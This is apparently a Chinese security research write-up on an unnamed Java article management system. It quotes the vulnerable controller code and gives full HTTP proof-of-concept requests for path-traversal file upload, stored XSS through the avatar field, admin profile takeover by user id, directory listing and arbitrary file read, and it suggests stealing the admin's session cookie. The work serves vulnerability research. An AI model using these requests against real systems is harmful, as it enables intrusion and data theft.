前言

偶然看到某文章管理系统,于是尝试挖掘学习

漏洞分析

任意文件上传

@PostMapping("/user/uploadImg")
    @ResponseBody
    @RequiresRoles(value={Constants.ROLE_ADMIN, Constants.ROLE_EDITOR, Constants.ROLE_CONTRIBUTE,
            Constants.ROLE_USER}, logical= Logical.OR)
    public ResponseBean uploadImg(HttpServletRequest request) {
        try{
            MultipartHttpServletRequest multipartRequest = (MultipartHttpServletRequest) request;
            MultipartFile multiFile = multipartRequest.getFile("file");
            FileResult fileResult = fileHandles.upload(multiFile, "avatar");
            if (fileResult != null) {
                return ResponseBean.success("上传成功", fileResult.getUrl());
            }
            return ResponseBean.fail("上传失败", null);
        }catch (Exception e){
            logger.error("上传失败: {}", e.getMessage());
            return ResponseBean.fail("上传失败", e.getMessage());
        }
    }

存在鉴权,但是只要能注册一个账号即可使用,跟进upload,发现对文件名和文件后缀无限制,而且存在直接文件名拼接

@Override
    public FileResult upload(MultipartFile multiFile, String category) throws Exception {
        FileResult fileResult = new FileResult();
        try{
            if (multiFile == null){
                throw new Exception("文件为空!");
            }
            String multiFileName = multiFile.getOriginalFilename();
            if (StringUtils.isBlank(multiFileName)){
                throw new Exception("文件名为空!");
            }
            String suffix = multiFileName.substring(multiFileName.indexOf("."));
            String filename = StringUtil.getUUID() + suffix;
            SimpleDateFormat formatter = new SimpleDateFormat("yyyyMMdd");
            String uploadPath = Constants.SEPARATOR + category + Constants.SEPARATOR + formatter.format(new Date()) + Constants.SEPARATOR;
            String dirPath = webUploadPath + uploadPath;
            File dir = new File(dirPath);
            if (!dir.exists()){
                boolean mkdirs = dir.mkdirs();
                if (!mkdirs) {
                    throw new Exception("创建目录失败!" + dir.getAbsolutePath());
                }
            }
            File file = new File(dirPath + filename);
            multiFile.transferTo(file.getAbsoluteFile());
            fileResult.setKey(uploadPath + filename);
            fileResult.setType(Constants.WEB_FILE_SAVE_TYPE_LOCAL);
            fileResult.setUrl(uploadPath + filename);
        }catch (Exception e){
            throw new Exception(e.getMessage());
        }
        return fileResult;
    }


可以进行目录穿越,而且文件名可控

POST /admin/user/uploadImg HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Origin: http://127.0.0.1:8080
Sec-Fetch-Dest: empty
Cookie:JSESSIONID=4145025ACED48C7EDCD270E9B786A453
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
sec-ch-ua-mobile: ?0
Sec-Fetch-Mode: cors
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarylMmLrnoJlJVVu0l0
sec-ch-ua-platform: "Windows"
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/admin/user/userCenter
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 220

------WebKitFormBoundarylMmLrnoJlJVVu0l0
Content-Disposition: form-data; name="file"; filename="./a/../../../a.htm"
Content-Type: image/jpeg

<script>alert(1)</script>
------WebKitFormBoundarylMmLrnoJlJVVu0l0--


上传成功,访问

XSS漏洞

注册一个账号,修改用户资料

POST /admin/user/update HTTP/1.1
Host: 127.0.0.1:8080
sec-ch-ua-platform: "Windows"
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
sec-ch-ua-mobile: ?0
Referer: http://127.0.0.1:8080/admin/user/userCenter
Sec-Fetch-Mode: cors
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Sec-Fetch-Site: same-origin
Sec-Fetch-Dest: empty
Content-Type: application/json
Origin: http://127.0.0.1:8080
Cookie: admin_hkcms_lang=zh-cn; JSESSIONID=6584BB563CF5628488C50448066F4919
Accept-Encoding: gzip, deflate, br, zstd
X-Requested-With: XMLHttpRequest
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 161

{"id":"2","userName":"admin1","account":"admin1","email":"admin1@qq.ocm","website":"","avatar":"123'><script>alert(1);</script>'","file":""}

在用户管理(管理员才能进入)处触发XSS

@PostMapping("/user/update")
    @ResponseBody
    @RequiresRoles(value={Constants.ROLE_ADMIN, Constants.ROLE_EDITOR, Constants.ROLE_CONTRIBUTE,
            Constants.ROLE_USER}, logical= Logical.OR)
    public ResponseBean update(@RequestBody @Valid User user) {
        user.setReadAvatar(false);
        if (StringUtils.isBlank(user.getAvatar())){
            user.setAvatar(GravatarUtil.getGravatar(user.getEmail()));
        }
        if (userService.update(user) > 0) {
            return ResponseBean.success("更新成功", null);
        }
        logger.error("用户更新失败: {}", user.toString());
        return ResponseBean.fail("更新失败", null);
    }

发现通过id识别账户,但是不能修改accout
所以我们还可以通过其他账户修改admin账户除了account之外的所有内容

后台目录遍历和任意文件读

目录遍历

假设我们通过xss获取到了管理员当时的JSESSIONID,并立即利用

POST /admin/theme/getFileListByTheme HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br, zstd
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1:8080/admin/theme/edit?path=default
Sec-Fetch-Site: same-origin
Accept: */*
Origin: http://127.0.0.1:8080
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Cookie: JSESSIONID=C52BFD2913D7B0B7DAD7AF27433988C7
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Content-Length: 12

path=../

@PostMapping("/theme/getFileListByTheme")
    @ResponseBody
    public ResponseBean getFileListByTheme(@RequestParam("path") String path){
        List<TreeNode> themeFiles = themeService.getFileListByTheme(path);
        return ResponseBean.success("数据加载成功", themeFiles);
    }

跟进getFileListByTheme

public List<TreeNode> getFileListByTheme(String path) {
        File themeDir = getThemeDir(path);
        if (themeDir == null) {
            return null;
        }
        List<TreeNode> result = new ArrayList<>();
        return getFileListByFile(themeDir, path, result, "-1");
    }


跟进getFileListByFile函数

private List<TreeNode> getFileListByFile(File dir,String path, List<TreeNode> result, String pid) {
        File[] files = dir.listFiles();
        if (files == null || files.length <= 0) {
            return result;
        }
        for (File file : files) {
            ThemeFile themeFile = new ThemeFile();
            themeFile.setFilePath(file.getAbsolutePath());
            themeFile.setFileName(file.getName());
            themeFile.setPath(path + Constants.SEPARATOR + file.getName());

            TreeNode treeNode = new TreeNode();
            treeNode.setTitle(file.getName());
            treeNode.setId(IdUtil.simpleUUID());
            treeNode.setPid(pid);

            if (file.isDirectory()) {
                themeFile.setFileType("dir");
                getFileListByFile(file, themeFile.getPath(),result , treeNode.getId());
            } else {
                if (file.getName().contains(".")) {
                    themeFile.setFileType(file.getName().substring(file.getName().lastIndexOf(".")).replace(".",""));
                } else {
                    themeFile.setFileType("other");
                }
            }
            treeNode.setObj(themeFile);
            result.add(treeNode);
        }
        return result;
    }

任意文件读

POST /admin/theme/getFileContent HTTP/1.1
Host: 127.0.0.1:8080
Sec-Fetch-Dest: empty
Cookie: JSESSIONID=C52BFD2913D7B0B7DAD7AF27433988C7
sec-ch-ua: "Not(A:Brand";v="99", "Google Chrome";v="133", "Chromium";v="133"
Origin: http://127.0.0.1:8080
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: */*
Referer: http://127.0.0.1:8080/admin/theme/edit?path=default
sec-ch-ua-platform: "Windows"
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Accept-Encoding: gzip, deflate, br, zstd
Content-Length: 27

path=..%2F..%2Fbanner.txt

public ResponseBean getFileContent(@RequestParam("path") String path){
        File file = themeService.getThemeDir(path);
        if (file.exists()) {
            FileReader fileReader = new FileReader(file);
            return ResponseBean.success("数据加载成功", fileReader.readString());
        } else {
            return ResponseBean.fail("文件不存在", null);
        }
    }

无过滤,所以可以目录穿越读文件